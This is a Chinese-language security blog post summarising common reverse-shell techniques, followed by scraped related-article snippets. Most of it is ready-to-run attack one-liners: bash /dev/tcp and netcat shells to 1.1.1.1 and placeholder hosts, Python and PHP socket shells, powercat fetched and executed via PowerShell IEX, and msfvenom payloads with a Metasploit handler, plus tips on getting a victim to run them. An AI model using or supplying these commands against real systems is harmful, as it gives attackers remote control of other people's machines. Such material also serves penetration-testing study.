<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    常用反彈shell方法總結

    VSole2022-07-13 23:00:32

    0x01 bash反彈shell

    bash -i >&/dev/tcp/1.1.1.1/9999 0>&1

    解釋:
    bash -i [interface] 表示啟動shell窗口
    >表示將這個窗口重定向到指定的地方,也就是將輸出交給后面
    &表示將該命令轉到后臺執行 (我看其他文章也有將&解釋成等同于的,如2>&1 就表示stderr標準錯誤重定向為等同于stdout標準輸出)
    /dev/tcp/x.x.x.x/port表示發出一個socket調用,建立一個socket連接,讀寫這個文件等同于socket連接中傳輸數據.x.x.x.x表示要反彈到的主機的ip,port為端口 (同理linux中還存在/dev/udp)
    0表示stdin標準輸入
    1表示stdout標準輸出
    2表示stderr標準錯誤輸出
    0>&1表示將標準輸入重定向到標準輸出
    

    0x02 nc反彈shell

    1.nc彈linux的shell: nc -e /bin/bash 1.1.1.1 9999

    nc -e 表示連接成功后執行的程序

    nc -e /bin/bash表示連接到遠程之后執行shell, 并反彈

    2. 如果linux中nc沒有-e參數

    (1)nc x.x.x.x 4444 | /bin/bash | nc x.x.x.x 5555#從4444端口獲取到命令,bash 運行后將命令執行結果返回 5555 端口,攻擊者主機上也是打開兩個終端分別執行監聽。

    (2)nc -c /bin/bash x.x.x.x 4444

    (3)/bin/sh | nc x.x.x.x 4444

    0x03 nc彈windows下的shell

    windows端需要下載nc.exe 戳這:https://eternallybored.org/misc/netcat/【報毒,建議虛擬機下載】

    攻擊機監聽:nc -lvp 7777
    windows端反彈shell:nc x.x.x.x 7777 -e c:\windows\system32\cmd.exe
    

    0x04 whois反彈shell

    whois -h x.x.x.x -p 9999 `whoami`

    #但是反彈的shell只能執行后面帶的命令

    0x05 常見腳本反彈

    1、python

    python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("x.x.x.x",5555));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'
    解釋:
    import socket,subprocess,os#導入模塊,其中subprocess庫用來提供強大的進程創建接口,還可以提供多種與客戶端程序交互的方法。
    s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) #SOCK_STREAM表示創建一個TCP連接
    s.connect(("x.x.x.x",5555))
    os.dup2(s.fileno(),0)#os.dup2表示將一個文件描述符復制到另一個文件描述符,fileno()表示將文件流指針轉換成文件描述符,s.fileno表示返回socket的文件描述符,這行代碼表示將s.fileno()表示的文件傳遞到0指向的文件,0即我們之前所說的stdin標準輸入
    os.dup2(s.fileno(),1) #同理,1表示stdout標準輸出
    os.dup2(s.fileno(),2)#同理,2表示stderr標準錯誤輸出
    p=subprocess.call(["/bin/bash","-i"]); #表示運行/bin/bash -i, subprocess.call執行命令時不使用空格,用""分開
    

    2、php

    php -r '$sock=fsockopen("x.x.x.x",5555);exec("/bin/bash -i <&3 >&3 2>&3");'

    【注:php的fsockopen使用需要php.ini中allow_url_fopen = On】

    php -r $sock=fsockopen("x.x.x.x",5555);
    //fsockopen用來打開一個網絡連接或者一個Unix套接字連接
    exec("/bin/bash -i <&3 >&3 2>&3");
    //文件描述符都是遞增的,則創建新的文件描述符之后其大小為3,所以直接將0,1,2重定向3。0,1,2的含義我們上文反復提到
    //可以寫成exec("/bin/bash -i 0<&3 1>$3 2>&3");
    還有一些其他腳本反彈shell可以參考烏云滴文章:
    https://mp.weixin.qq.com/s/AnvJIRX9hx4g4gg8Er_O4g
    一些文件描述符的理解可以kk這個:
    https://zhuanlan.zhihu.com/p/109053744
    

    0x06 powercat反彈shell

    powercat是netcat的powershell版本,

    下載地址:https://github.com/besimorhino/powercat (需要fq)
    

    兩種用法:

    (1)下載腳本,powershell本地運行

    Import-Module .\powercat.ps1

    powercat -c 攻擊機IP -p 端口 -e cmd

    (2)從url下載使用

    powershell運行:  (cmd的話命令前面加個powershell一樣的)
    IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1') ; powercat -c 攻擊機ip -p 端口 -e cmd
    【這里先下載ps1腳本到自己搭的服務器,再運行powershellIEX (New-Object System.Net.Webclient).DownloadString('https://10.x.x.x/powercat.ps1') ; powercat -c 攻擊機ip -p 端口 -e cmd】
    

    0x07 msf反彈shell

    這個更常見啦,寶子們應該都會啦~

    進入msf開搞:
    msfvenom -p windows/meterpreter/reverse_tcp LHOST=攻擊機IP LPORT=9999 -f exe > /root/shell.exe
    

    放到自己服務器上讓受害者windows主機下載運行
    然后攻擊機msf:
    use exploit/multi/handler
    set payload windows/meterpreter/reverse_tcp
    set LHOST 攻擊機ip
    set LPORT 9999
    exploit
    看到session
    

    成功啦~

    當然大家可能已經膩味了熟悉的windows/meterpreter/reverse_tcp,msfvenom也有很多其他反彈shell的payload

    msfvenom -l payload | grep 'reverse_tcp'
    

    好了我們選中一個幸運payload兒來嘗試:

    好吧就你了最好的語言

    msfvenom -p php/meterpreter/reverse_tcp LHOST=攻擊機IP LPORT=6666 -f raw > shell.php
    

    放到受害主機根目錄,打開暫時還沒有socket:

    攻擊機一頓set, 然后受害主機刷新一下shell.php,成功拿到:


    shell文件描述符
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    眾所周知,在Linux上運行一個程序,則這個程序必須以一個文件的形式存在,而且必須能夠通過文件系統層次結構并以某種方式訪問到它,這也是execve()的工作機制。這種機制不僅使得我們可以輕松控制Linux系統中運行的內容,而且還可以輕松檢測到安全威脅或攻擊者植入的惡意程序,甚至還可以阻止攻擊者嘗試執行他們的任何工具,比如說不允許未經授權的用戶將可執行文件放在任何地方。
    11和2在Linux中代表什么在Linux系統中0 1 2是一個文件描述符從上表看的出來,我們平時使用的echo?其實也可以寫成echo?2關于2>&1的含義關于輸入/輸出重定向本文就不細說了含義:將標準錯誤輸出重定向到標準輸出符號>&是一個整體,不可分開,分開后就不是上述含義了。
    linux反彈shell的一些方法
    常用反彈shell方法總結
    反彈shell的N種姿勢
    2021-09-26 09:00:48
    在滲透測試的過程中,在拿到webshell以后,如果目標主機是Windows主機,則是通過開3389端口在遠程連接,如果目標主機是linux服務器,一般我們都會選擇反彈shell來進行操作。在這里總結下反彈shell常見的幾種姿勢。
    反彈shell是獲取Linux交互shell的一種方法,其方法背后的原理是什么呢
    在我們寫程序的時候往往都沒有注意到一些系統資源的臨界值,然而這些臨界值在有的時候會把我們害的很慘,比如一個忘掉關閉的文件描述符,比如malloc竟然會返回錯誤,又或者是爆棧,我們該如何解決或者說預防這些問題呢?
    比如目標文件是/bin/bash,將它替換成指定解釋器路徑為#!/proc/self/exe的可執行腳本,在容器中執行/bin/bash時將執行/proc/self/exe,它指向host上的runC文件
    VSole
    網絡安全專家
      亚洲 欧美 自拍 唯美 另类